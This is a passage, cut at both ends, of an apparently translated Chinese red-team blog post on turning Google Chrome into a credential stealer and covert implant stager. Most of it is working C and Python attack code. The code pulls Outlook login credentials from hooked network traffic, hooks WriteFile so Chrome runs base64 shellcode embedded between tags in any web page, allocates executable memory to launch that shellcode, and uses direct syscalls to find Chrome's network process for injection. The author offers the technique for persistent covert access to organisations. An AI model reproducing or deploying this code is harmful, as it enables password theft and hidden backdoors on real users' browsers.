class=\"wp-image-2547\"\/><\/figure>\n\n\n\n<p>\u73b0\u5728\u552f\u4e00\u7684\u6311\u6218\u662f\u89e3\u6790\u8fd9\u4e2a\u6587\u4ef6\u5e76\u63d0\u53d6\u5c3d\u53ef\u80fd\u591a\u7684\u79d8\u5bc6\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"yara-its-both-blue-and-red\">YARA\uff0c\u84dd\u7ea2\u53cc\u8272<\/h2>\n\n\n\n<p>\u6211\u9700\u8981\u7f16\u5199\u4e00\u4e2a\u5b9e\u7528\u7a0b\u5e8f\u6765\u89e3\u6790\u8fd9\u4e2a\u8f6c\u50a8\u6587\u4ef6\u3002\u5b83\u9700\u8981\u80fd\u591f\u5339\u914d\u548c\u533a\u5206\u591a\u79cd\u4e0d\u540c\u7684\u8bf7\u6c42\u7c7b\u578b\uff0c\u7136\u540e\u4ee5\u4e00\u79cd\u53ef\u4ee5\u8f7b\u677e\u68c0\u7d22\u8bf7\u6c42\u4e2d\u7684\u79d8\u5bc6\u7684\u65b9\u5f0f\u89e3\u6790\u8fd9\u4e9b\u8bf7\u6c42\u3002\u4e3a\u6b64\uff0c\u7ed3\u5408\u4f7f\u7528 YARA \u89c4\u5219\u548c\u6211\u7f16\u5199\u7684\u57fa\u4e8e python \u7684\u63d2\u4ef6\u7cfb\u7edf&nbsp;<code>hunt.py<\/code>\u3002<\/p>\n\n\n\n<p>\u4f7f\u7528\u7684\u8bed\u6cd5&nbsp;<code>hunt.py<\/code>&nbsp;\u975e\u5e38\u7b80\u5355<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/hunt.py &lt;dumpfile&gt;\n<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5b83\u5c06\u641c\u7d22\u8f6c\u50a8\u5e76\u5b9a\u4f4d\u673a\u5bc6\uff0c\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/hunt_outlook-1.png\" alt=\"\" class=\"wp-image-2550\"\/><\/figure>\n\n\n\n<p>\u7f16\u5199\u89c4\u5219\u548c\u63d2\u4ef6\u5b9e\u9645\u4e0a\u975e\u5e38\u5bb9\u6613\u3002\u9996\u5148\uff0c\u60a8\u9700\u8981\u67e5\u770b\u8bf7\u6c42\u5e76\u6311\u9009\u51fa\u53ef\u7528\u4e8e\u8bc6\u522b YARA \u89c4\u5219\u8bf7\u6c42\u7684\u5b57\u7b26\u4e32\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/burpreq-1-960x250.png\" alt=\"\" class=\"wp-image-2551\"\/><\/figure>\n\n\n\n<p>\u7136\u540e\u4f7f\u7528\u8fd9\u4e9b\u5b57\u7b26\u4e32\u53ef\u4ee5\u7f16\u5199\u5982\u4e0b\u7684 YARA \u89c4\u5219\u3002\u89c4\u5219\u5e94\u5b58\u50a8\u5728&nbsp;<code>rules\/<\/code>&nbsp;\u76ee\u5f55\u4e2d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>rule outlook_creds {\n    meta:\n        author = \"@_batsec_\"\n        plugin = \"outlook_parse\"\n    strings: \n        $str1 = \"login.live.com\" \n        $str2 = \"login=\" \n        $str3 = \"hisScaleUnit=\"\n        $str4 = \"passwd=\"\n    condition: \n        all of them \n}\n<\/code><\/pre>\n\n\n\n<p>\u5f53&nbsp;<code>hunt.py<\/code>&nbsp;\u627e\u5230\u5339\u914d\u65f6\uff0c\u5b83\u4f7f\u7528&nbsp;<code>plugin<\/code>&nbsp;\u89c4\u5219\u4e2d\u53d8\u91cf\u7684\u503c\u4f5c\u4e3a\u63d2\u4ef6\u7684\u540d\u79f0\u6765\u52a0\u8f7d\u548c\u89e3\u6790\u8bf7\u6c42\u3002<\/p>\n\n\n\n<p>\u63d2\u4ef6\u53ea\u662f&nbsp;<code>plugins.py<\/code>&nbsp;\u6587\u4ef6\u4e2d\u7684\u4e00\u4e2a\u51fd\u6570\u3002\u5b83\u5c06\u4ee5\u5b57\u8282\u5bf9\u8c61\u7684\u5f62\u5f0f\u7ed9\u51fa\u539f\u59cb\u8bf7\u6c42\uff0c\u5e76\u5e94\u8fd4\u56de\u4e00\u4e2a\u5b57\u5178\uff0c\u5176\u4e2d\u5305\u542b\u5b83\u627e\u5230\u7684\u6240\u6709\u5185\u5bb9\u7684\u540d\u79f0\u548c\u79d8\u5bc6\uff0c\u4f8b\u5982&nbsp;<code>{'site': 'login.live.com', 'username': 'asdf%40asdf.com', 'password': 'ThisIsMyVerySecurePassword123%21'}<\/code>.<\/p>\n\n\n\n<p>\u89e3\u6790outlook\u8bf7\u6c42\u7684\u63d2\u4ef6\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>def<\/strong> <strong>outlook_parse<\/strong>(request):\n\n    creds = {}\n\n    creds&#91;'site'] = 'login.live.com'\n\n    login = re.search(rb'login=(.*)&amp;', request).group(1).decode()\n    login = login&#91;:login.index('&amp;')]\n    creds&#91;'username'] = login\n\n    passwd = re.search(rb'passwd=(.*)&amp;', request).group(1).decode()\n    passwd = passwd&#91;:passwd.index('&amp;')]\n    creds&#91;'password'] = passwd\n    \n    <strong>return<\/strong> creds\n<\/code><\/pre>\n\n\n\n<p>\u8ba9\u6211\u4eec\u6765\u770b\u770b\u6211\u4eec\u7684 chrometap BOF \u7684\u8fd0\u884c\u60c5\u51b5\uff1ahttps:\/\/player.vimeo.com\/video\/499545085?dnt=1&amp;app_id=122963<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"chrome-googles-implant-stager\">Chrome\uff0c\u8c37\u6b4c\u7684\u690d\u5165\u7a0b\u5e8f\uff1f<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/spiderman-stager.jpg\" alt=\"\" class=\"wp-image-2552\"\/><\/figure>\n\n\n\n<p>\u80fd\u591f\u4ece\u8bf7\u6c42\u4e2d\u7a83\u53d6\u79d8\u5bc6\u662f\u4e00\u56de\u4e8b\uff0c\u4f46\u662f\u4f7f\u7528 Chrome \u4f5c\u4e3a\u4e00\u79cd\u9690\u853d\u7684\u6301\u4e45\u6027\u65b9\u6cd5\u5462\uff1f\u73b0\u5728\u90a3\u4f1a\u5f88\u9177\u3002<\/p>\n\n\n\n<p>\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u9700\u8981\u627e\u5230\u4e00\u79cd\u65b9\u6cd5\u6765\u67e5\u770b Web \u8bf7\u6c42\u7684\u54cd\u5e94\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u53ef\u4ee5&nbsp;<code>ReadFile<\/code>&nbsp;\u5728\u7f51\u7edc\u670d\u52a1\u4e2d\u901a\u8fc7\u94a9\u5b50\u67e5\u770b Web \u8bf7\u6c42\uff0c\u90a3\u4e48\u6211\u4eec\u5f53\u7136\u53ef\u4ee5\u67e5\u770b\u5bf9\u8fd9\u4e9b\u8bf7\u6c42\u7684\u54cd\u5e94\uff0c\u56e0\u4e3a\u5b83\u7684\u56de\u5199\u5230\u5e26\u94a9\u5b50\u7684\u7ba1\u5b50\u4e0a&nbsp;<code>WriteFile<\/code>\uff1f\u8ba9\u6211\u4eec\u6765\u4e86\u89e3\u4e00\u4e0b\u3002<\/p>\n\n\n\n<p>\u6211\u4fee\u6539\u4e86\u524d\u9762\u7684\u4ee3\u7801\u4ee5\u8f6c\u50a8 \u7684\u5185\u5bb9\uff0c<code>WriteFile<\/code>\u800c\u4e0d\u662f<code>ReadFile<\/code>.&nbsp;\u5c06\u5176\u6ce8\u5165\u7f51\u7edc\u670d\u52a1\u5e76\u5206\u6790\u8f6c\u50a8\u6587\u4ef6\uff0c\u6211\u5e0c\u671b\u770b\u5230\u5927\u91cf HTML\/CSS\/JavaScript \u6587\u4ef6\uff0c\u4f46\u4ee4\u6211\u60ca\u8bb6\u7684\u662f\u6ca1\u6709\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/binwalk_wirelog-960x537.png\" alt=\"\" class=\"wp-image-2553\"\/><\/figure>\n\n\n\n<p>\u6211\u5f88\u56f0\u60d1\u3002\u6211\u8ba4\u4e3a\u6211\u7684\u5047\u8bbe\u662f\u9519\u8bef\u7684\uff0c\u5e76\u4e14\u54cd\u5e94\u5185\u5bb9\u662f\u901a\u8fc7\u4e0d\u540c\u7684 IPC \u65b9\u5f0f\u4f20\u8fbe\u7684\u3002\u6211\u82b1\u4e86\u4e00\u4e9b\u65f6\u95f4\u67e5\u770b\u5171\u4eab\u5185\u5b58\uff08IPC Chrome \u4f7f\u7528\u7684\u53e6\u4e00\u79cd\u65b9\u6cd5\uff09\uff0c\u4f46\u4ecd\u7136\u65e0\u6cd5\u627e\u5230\u54cd\u5e94\u5185\u5bb9\u3002<\/p>\n\n\n\n<p>\u611f\u5230\u6cae\u4e27\uff0c\u6211\u6b63\u5728\u67e5\u770b\u8bf7\u6c42\u6807\u5934\uff0c\u8bd5\u56fe\u67e5\u770b\u662f\u5426\u6709\u6211\u9057\u6f0f\u7684\u4efb\u4f55\u5185\u5bb9\u3002\u7136\u540e\u6211\u6ce8\u610f\u5230\u4e86\u7f16\u7801\u5934\uff0c\u8fd9\u4e00\u5207\u90fd\u8bf4\u5f97\u901a\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/gzip_headers.png\" alt=\"\" class=\"wp-image-2554\"\/><\/figure>\n\n\n\n<p>\u6211\u66fe\u5047\u8bbe\u7f51\u7edc\u670d\u52a1\u53ea\u4f1a\u5904\u7406\u6240\u6709\u5185\u5bb9\u5e76\u5c06\u54cd\u5e94\u4f20\u9012\u7ed9\u6e32\u67d3\u5668\u8fdb\u884c\u6e32\u67d3\uff0c\u4f46\u4ece\u8f6c\u50a8\u6587\u4ef6\u4e2d\u7684 gzip \u538b\u7f29\u5185\u5bb9\u7684\u6570\u91cf\u6765\u770b\uff0c\u6e32\u67d3\u8fc7\u7a0b\u4f3c\u4e4e\u4e5f\u4f1a\u5904\u7406\u89e3\u538b\u7f29\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/binwalk_gzip-960x387.png\" alt=\"\" class=\"wp-image-2556\"\/><\/figure>\n\n\n\n<p>\u901a\u8fc7\u63d0\u53d6\u548c\u89e3\u538b\u7f29 gzip \u538b\u7f29\u7684\u5185\u5bb9\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5b83\u5b9e\u9645\u4e0a\u662f\u6211\u4e00\u76f4\u5728\u641c\u7d22\u7684 Web \u5185\u5bb9\u3002\u6700\u540e\uff01<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/ungzip_html-1.png\" alt=\"\" class=\"wp-image-2557\"\/><\/figure>\n\n\n\n<p>\u6240\u4ee5\u73b0\u5728\u6211\u4eec\u77e5\u9053\uff0c\u901a\u8fc7\u6302\u4e0a\u94a9\u5b50&nbsp;<code>WriteFile<\/code>&nbsp;\u5e76\u89e3\u538b\u7f29\u5176\u4e2d\u7684\u6570\u636e\uff0c&nbsp;<code>lpBuffer<\/code>&nbsp;\u6211\u4eec\u5c06\u5f97\u5230\u7eaf\u6587\u672c\u7684 Web \u5185\u5bb9\u3002\u51c9\u723d\u7684\u3002<\/p>\n\n\n\n<p>\u4f7f\u7528&nbsp;<a href=\"https:\/\/github.com\/jibsen\/tinf\">\u8fd9\u4e2a<\/a>&nbsp;\u6f02\u4eae\u7684\u5c0f gzip \u89e3\u538b\u7f29\u5e93\uff0c\u6211\u53ef\u4ee5\u7f16\u5199\u4e00\u4e2a\u66ff\u6362&nbsp;<code>WriteFile<\/code>&nbsp;\u51fd\u6570\u6765\u89e3\u538b\u7f29\u6570\u636e\uff0c\u5e76\u5c06&nbsp;<code>&lt;shellcode&gt;&lt;\/shellcode&gt;<\/code>&nbsp;HTML \u6807\u8bb0&nbsp;\u4e4b\u95f4\u7684\u4efb\u4f55\u6570\u636e\u63d0\u4f9b<code>ExecuteShellcode<\/code>&nbsp;\u7ed9\u8981\u6267\u884c\u7684 shellcode \u51fd\u6570\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#define SHCPATTERN1 \"&lt;shellcode&gt;\"\n#define SHCPATTERN2 \"&lt;\/shellcode&gt;\"\n\nBOOL <strong>Hooked_WriteFile<\/strong>(HANDLE hFile,\n\tLPCVOID      lpBuffer,\n\tDWORD        nNumberOfBytesToWrite,\n\tLPDWORD      lpNumberOfBytesWritten,\n\tLPOVERLAPPED lpOverlapped)\n{\n    <strong>int<\/strong> res;\n    DWORD i;\n    <strong>char<\/strong> *start, *end;\n    <strong>char<\/strong> *target = NULL;\n    <strong>unsigned<\/strong> <strong>char<\/strong> *dest = NULL;\n    <strong>unsigned<\/strong> <strong>char<\/strong> *source = NULL;\n    <strong>unsigned<\/strong> <strong>int<\/strong> len, dlen, outlen;\n    DWORD_PTR dwBuf = (DWORD_PTR)lpBuffer;\n\n    <strong>if<\/strong> (hFile == (HANDLE)WRITEFILE_HOOKED &amp;&amp; lpBuffer == NULL)\n    {\n        <strong>return<\/strong> TRUE;\n    }\n\n    <strong>if<\/strong> (lpBuffer != NULL &amp;&amp; nNumberOfBytesToWrite &gt;= 18)\n    {\n        tinf_init();\n\n        <strong>auto<\/strong> ucharptr = <strong>static_cast<\/strong>&lt;<strong>const<\/strong> <strong>unsigned<\/strong> <strong>char<\/strong>*&gt;(lpBuffer);\n        source = <strong>const_cast<\/strong>&lt;<strong>unsigned<\/strong> <strong>char<\/strong>*&gt;(ucharptr);\n\n        dlen = read_le32(&amp;source&#91;nNumberOfBytesToWrite - 4]);\n\n        dest = (<strong>unsigned<\/strong> <strong>char<\/strong> *) <strong>malloc<\/strong>(dlen ? dlen : 1);\n        <strong>if<\/strong> (dest == NULL)\n        {\n            <strong>goto<\/strong> APICALL;\n        }\n\n        outlen = dlen;\n\n        res = tinf_gzip_uncompress(dest, &amp;outlen, source, nNumberOfBytesToWrite);\n\n        <strong>if<\/strong> ((res != TINF_OK) || (outlen != dlen)) \n        {\n            <strong>free<\/strong>(dest);\n            <strong>goto<\/strong> APICALL;\n        }\n\n        <strong>for<\/strong> (i = 0; i &lt; outlen; i++)\n        {\n            <strong>if<\/strong> (!<strong>memcmp<\/strong>((PVOID)(dest + i), (<strong>unsigned<\/strong> <strong>char<\/strong>*)SHCPATTERN1, <strong>strlen<\/strong>(SHCPATTERN1)))\n            {\n                <strong>if<\/strong> ( start = <strong>strstr<\/strong>( (<strong>char<\/strong>*)dest, SHCPATTERN1 ) )\n                {\n                    start += <strong>strlen<\/strong>( SHCPATTERN1 );\n                    <strong>if<\/strong> ( end = <strong>strstr<\/strong>( start, SHCPATTERN2 ) )\n                    {\n                        target = ( <strong>char<\/strong> * )<strong>malloc<\/strong>( end - start + 1 );\n                        <strong>memcpy<\/strong>( target, start, end - start );\n                        target&#91;end - start] = '\\0';\n\n                        ExecuteShellcode(target);\n                    }\n                }\n            }\n        }\n\n        <strong>free<\/strong>(dest);\n        <strong>free<\/strong>(target);\n        \n        <strong>goto<\/strong> APICALL;\n    }\n    \n    <strong>goto<\/strong> APICALL;\n\nAPICALL:\n    <strong>return<\/strong> Clean_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);\n}\n<\/code><\/pre>\n\n\n\n<p><code>ExecuteShellcode<\/code>&nbsp;\u6ca1\u6709\u505a\u4efb\u4f55\u7279\u522b\u7684&nbsp;\u4e8b\u60c5\uff0c\u5b83\u53ea\u662f\u4f7f\u7528 windows API \u5bf9 shellcode \u8fdb\u884c base64 \u89e3\u7801\u7136\u540e\u6267\u884c\u5b83\u3002\u6211\u5c06\u628a\u5b83\u4f5c\u4e3a\u4e00\u4e2a\u6311\u6218\uff0c\u8ba9\u8bfb\u8005\u9002\u5e94\u5b83&nbsp;<a href=\"https:\/\/blog.dylan.codes\/defending-your-malware\/\">\u4ee5\u4f7f\u7528\u7cfb\u7edf\u8c03\u7528<\/a>&nbsp;\u548c\u5176\u4ed6\u66f4\u5177\u9632\u5fa1\u6027\u7684\u6ce8\u5165\u6280\u672f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BOOL <strong>ExecuteShellcode<\/strong>(<strong>char<\/strong>* shellcode)\n{\n    DWORD dwOutLen;\n    <strong>int<\/strong> shellcode_len = <strong>strlen<\/strong>(shellcode);\n\n    FUNC_CryptStringToBinaryA CryptStringToBinaryA = (FUNC_CryptStringToBinaryA)GetProcAddress(\n                                                        LoadLibraryA(\"crypt32.dll\"), \n                                                        \"CryptStringToBinaryA\");\n\n    CryptStringToBinaryA(\n        (LPCSTR)shellcode,\n        (DWORD)shellcode_len,\n        CRYPT_STRING_BASE64,\n        NULL,\n        &amp;dwOutLen,\n        NULL,\n        NULL\n    );\n\n    BYTE* pbBinary = (BYTE*)<strong>malloc<\/strong>(dwOutLen + 1);\n\n    CryptStringToBinaryA(\n        (LPCSTR)shellcode,\n        (DWORD)shellcode_len,\n        CRYPT_STRING_BASE64,\n        pbBinary,\n        &amp;dwOutLen,\n        NULL,\n        NULL\n    );\n\n    <strong>void<\/strong>* <strong>module<\/strong> = VirtualAlloc(0, dwOutLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\n    <strong>memcpy<\/strong>(<strong>module<\/strong>, pbBinary, dwOutLen);\n\n    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)<strong>module<\/strong>, NULL, 0, 0);\n\n    <strong>return<\/strong> TRUE;\n\n}\n<\/code><\/pre>\n\n\n\n<p>\u7531\u4e8e\u6211\u4eec\u73b0\u5728\u6709\u4e00\u4e2a DLL\uff0c\u5f53\u6ce8\u5165\u5b83\u65f6\uff0c\u5b83\u5c06\u5f3a\u5236 Chrome \u6267\u884c&nbsp;<code>&lt;shellcode&gt;&lt;\/shellcode&gt;<\/code>&nbsp;\u6807\u7b7e\u4e4b\u95f4\u7684\u4efb\u4f55 shellcode\uff0c\u8ba9\u6211\u4eec\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/blog_shellcode.png\" alt=\"\" class=\"wp-image-2558\"\/><\/figure>\n\n\n\n<p>\u5982\u679c\u60a8\u4f7f\u7528\u540e\u95e8\u6d4f\u89c8\u5668\u8bbf\u95ee&nbsp;<a href=\"https:\/\/blog.dylan.codes\/\">\u6211\u535a\u5ba2<\/a>\u7684\u4e3b\u9875\uff0c &nbsp;shellcode \u5c06\u8fd0\u884c\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.mdsec.co.uk\/wp-content\/uploads\/2021\/01\/blog_calc.png\" alt=\"\" class=\"wp-image-2559\"\/><\/figure>\n\n\n\n<p>\u6709\u4e00\u79cd\u9690\u79d8\u7684\u65b9\u5f0f\u6765\u4fdd\u7559\u5bf9\u8fd9\u6837\u4e00\u4e2a\u7ec4\u7ec7\u7684\u8bbf\u95ee\u6743\u5f88\u9177\uff0c\u56e0\u4e3a\u8fd9\u5e76\u4e0d\u610f\u5473\u7740\u4f60\u5fc5\u987b\u8ba9\u4fe1\u6807\/\u690d\u5165\u7269\u4e0d\u65ad\u8fd0\u884c\u3002\u60a8\u6240\u8981\u505a\u7684\u5c31\u662f\u8ba9\u7528\u6237\u8bbf\u95ee\u5176\u4e2d\u5305\u542b\u7eaf\u6587\u672c shellcode \u6807\u8bb0\u7684 Web \u8d44\u6e90\uff0c\u65e0\u8bba\u662f\u94fe\u63a5\u3001\u56fe\u50cf\u3001iframe \u7b49\uff0c\u90fd\u65e0\u6240\u8c13\u3002<\/p>\n\n\n\n<p>\u60a8\u53ef\u4ee5\u4f7f\u7528\u4efb\u4f55\u6b63\u5e38\u7684\u6301\u4e45\u6027\u6280\u672f\u5728\u6bcf\u6b21\u91cd\u65b0\u542f\u52a8\u540e\u91cd\u65b0\u6ce8\u5165\u6302\u94a9\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"deploying\">\u90e8\u7f72<\/h2>\n\n\n\n<p>\u4ee5 DLL \u5f62\u5f0f\u62e5\u6709\u8fd9\u4e9b\u5de5\u5177\u5f88\u6709\u7528\uff0c\u4f46\u5bf9\u4e8e\u53c2\u4e0e\u6765\u8bf4\u4e0d\u662f\u5f88\u5b9e\u7528\uff0c\u56e0\u4e3a\u6211\u5fc5\u987b\u4ee5\u67d0\u79cd\u65b9\u5f0f\u8bc6\u522b Chrome \u7684\u7f51\u7edc\u670d\u52a1\uff0c\u7136\u540e\u6ce8\u5165\u6240\u8ff0 DLL\u3002\u56e0\u6b64\uff0c\u6211\u51b3\u5b9a\u7ed3\u5408\u4f7f\u7528&nbsp;<a href=\"https:\/\/github.com\/monoxgas\/sRDI\">sRDI<\/a>&nbsp;\u548c Cobalt Strikes \u7684&nbsp;<a href=\"https:\/\/cobaltstrike.com\/help-beacon-object-files\">\u4fe1\u6807\u76ee\u6807\u6587\u4ef6<\/a>&nbsp;\u6765\u90e8\u7f72\u5b83\u4eec\u3002<\/p>\n\n\n\n<p>\u6211\u7f16\u5199\u4e86\u4fe1\u6807\u5bf9\u8c61\u6587\u4ef6 (BoF) \u6765\u4f7f\u7528\u76f4\u63a5\u7cfb\u7edf\u8c03\u7528\uff0c\u8fd9\u8981\u5f52\u529f\u4e8e&nbsp;<a href=\"https:\/\/twitter.com\/Cneelis\">@Cneelis<\/a>&nbsp;\u5728&nbsp;<a href=\"https:\/\/github.com\/outflanknl\/InlineWhispers\">InlineWhispers<\/a>\u4e0a\u7684\u51fa\u8272\u5de5\u4f5c\uff0c\u8fd9\u53d8\u5f97\u5bb9\u6613\u591a\u4e86\u3002<\/p>\n\n\n\n<p>\u9996\u8981\u4efb\u52a1\u662f\u627e\u5230 Chrome \u7684\u7f51\u7edc\u670d\u52a1\u3002\u5b83\u5728\u6620\u50cf\u540d\u79f0\u4e0b\u8fd0\u884c\uff0c&nbsp;<code>chrome.exe<\/code>&nbsp;\u56e0\u6b64\u6211\u4f7f\u7528&nbsp;<code>NtQuerySystemInformation<\/code>&nbsp;\u5e26&nbsp;<code>SystemProcessInformation<\/code>&nbsp;\u53c2\u6570\u7684\u7cfb\u7edf\u8c03\u7528\u6765\u83b7\u53d6\u6307\u5411\u7ed3\u6784\u7684\u6307\u9488\uff0c\u8be5&nbsp;<code>SYSTEM_PROCESSES<\/code>&nbsp;\u7ed3\u6784\u5305\u542b\u6709\u5173\u5f53\u524d\u5728\u673a\u5668\u4e0a\u8fd0\u884c\u7684\u6240\u6709\u8fdb\u7a0b\u7684\u4fe1\u606f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>typedef struct _SYSTEM_PROCESSES {\n\tULONG NextEntryDelta;\n\tULONG ThreadCount;\n\tULONG Reserved1&#91;6];\n\tLARGE_INTEGER CreateTime;\n\tLARGE_INTEGER UserTime;\n\tLARGE_INTEGER KernelTime;\n\tUNICODE_STRING ProcessName;\n\tKPRIORITY BasePriority;\n\tHANDLE ProcessId;\n\tHANDLE InheritedFromProcessId;\n} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;\n<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u4f7f\u7528&nbsp;<code>NextEntryDelta<\/code>&nbsp;\u8fed\u4ee3\u6d41\u7a0b\u76f4\u5230&nbsp;<code>ProcessName.Buffer<\/code>&nbsp;is&nbsp;&nbsp;<code>chrome.exe<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>DWORD GetChromeNetworkProc()\n{\n    NTSTATUS dwStatus;\n    ULONG ulRetLen = 0;\n    LPVOID lpBuffer = NULL;\n    DWORD dwPid, dwProcPid = 0;\n\n    if (NtQuerySystemInformation(SystemProcessInformation, 0, 0, &amp;ulRetLen) != STATUS_INFO_LENGTH_MISMATCH)\n    {\n        goto Cleanup;\n    }\n\n    lpBuffer = MSVCRT$malloc(ulRetLen);\n    if (lpBuffer == NULL)\n    {\n        goto Cleanup;\n    }\n\n    if (!NtQuerySystemInformation(SystemProcessInformation, lpBuffer, ulRetLen, &amp;ulRetLen) == STATUS_SUCCESS)\n    {\n        goto Cleanup;\n    }\n\n    PSYSTEM_PROCESSES lpProcInfo = (PSYSTEM_PROCESSES)lpBuffer;\n\n    do\n    {\n        dwPid = 0;\n\n        lpProcInfo = (PSYSTEM_PROCESSES)(((LPBYTE)lpProcInfo) + lpProcInfo-&gt;NextEntryDelta);\n        dwProcPid = *((DWORD*)&amp;lpProcInfo-&gt;ProcessId);\n        \n        if (MSVCRT$wcscmp(lpProcInfo-&gt;ProcessName.Buffer, L\"chrome.exe\") == 0)\n        {\n            if (IsNetworkProc(dwProcPid))\n            {\n                dwPid = dwProcPid;\n                goto Cleanup;\n            }\n        }\n\n        if (lpProcInfo-&gt;NextEntryDelta == 0) \n        {\n\t\t\tgoto Cleanup;\n        }\n    } while (lpProcInfo);\n\nCleanup:\n\treturn dwPid;\n}\n<\/code><\/pre>\n\n\n\n<p>\u4e00\u65e6\u627e\u5230\u4e00\u4e2a\u540d\u4e3a\u7684\u8fdb\u7a0b&nbsp;<code>chrome.exe<\/code>&nbsp;\uff0c\u5b83\u7684\u8fdb\u7a0b ID \u5c06\u88ab\u4f20\u9012\u7ed9&nbsp;<code>IsNetworkProc<\/code>&nbsp;\u51fd\u6570\uff0c\u8be5\u51fd\u6570\u5c06\u786e\u5b9a\u5b83\u662f\u5426\u5b9e\u9645\u4e0a\u662f\u7f51\u7edc\u670d\u52a1\u3002\u8fd9\u662f\u901a\u8fc7\u4f7f\u7528&nbsp;<code>NtQueryInformationProcess<\/code>&nbsp;\u7cfb\u7edf\u8c03\u7528\u6765\u83b7\u53d6\u8fdc\u7a0b\u8fdb\u7a0b\u4e2d\u7684\u8fdb\u7a0b\u73af\u5883\u5757 (PEB) \u7684\u5730\u5740\uff0c\u7136\u540e\u904d\u5386 PEB \u76f4\u5230\u627e\u5230\u542f\u52a8\u8fdb\u7a0b\u7684\u547d\u4ee4\u884c\u53c2\u6570\u6765\u5b8c\u6210\u7684\u3002<code>--utility-sub-type=network.mojom.NetworkService<\/code>&nbsp;\u5982\u679c\u5728\u542f\u52a8\u8fdb\u7a0b\u65f6\u4f7f\u7528&nbsp;\u4e86\u6807\u5fd7&nbsp;\uff0c<code>chrome.exe<\/code>&nbsp;\u90a3\u4e48\u8be5\u8fdb\u7a0b\u5c06\u6210\u4e3a\u7f51\u7edc\u670d\u52a1\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BOOL IsNetworkProc(DWORD dwPid)\n{\n\tPPEB pPeb;\n\tSIZE_T stRead;\n\tHANDLE hProcess;\n\tNTSTATUS dwStatus;\n\tBOOL bStatus = FALSE;\n\tPWSTR lpwBufferLocal;\n\tPROCESS_BASIC_INFORMATION BasicInfo;\n\n\tMSVCRT$memset(&amp;BasicInfo, '\\0', sizeof(BasicInfo));\n\n\tif ((hProcess = OpenProcessHandle(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, dwPid)) == INVALID_HANDLE_VALUE)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tif ((dwStatus = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &amp;BasicInfo, sizeof(BasicInfo), NULL)) != STATUS_SUCCESS)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tLPVOID lpPebBuf = MSVCRT$malloc(sizeof(PEB));\n\tif (lpPebBuf == NULL)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tif (NtReadVirtualMemory(hProcess, BasicInfo.PebBaseAddress, lpPebBuf, sizeof(PEB), &amp;stRead) != STATUS_SUCCESS)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tPPEB pPebLocal = (PPEB)lpPebBuf;\n\n\tPRTL_USER_PROCESS_PARAMETERS pRtlProcParam = pPebLocal-&gt;ProcessParameters;\n\tPRTL_USER_PROCESS_PARAMETERS pRtlProcParamCopy = (PRTL_USER_PROCESS_PARAMETERS)MSVCRT$malloc(sizeof(RTL_USER_PROCESS_PARAMETERS));\n\n\tif (pRtlProcParamCopy == NULL)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tif (NtReadVirtualMemory(hProcess, pRtlProcParam, pRtlProcParamCopy, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL) != STATUS_SUCCESS)\n\t{\n\t\tbStatus = FALSE;\n\t\tgoto Cleanup;\n\t}\n\n\tUSHORT len =  pRtlProcParamCopy-&gt;CommandLine.Length;\n\tPWSTR lpwBuffer = pRtlProcParamCopy-&gt;CommandLine.Buffer;\n\t\n\tif ((lpwBufferLocal = (PWSTR)MSVCRT$malloc(len)) == NULL)\n\t{\n\t\tbStatus = 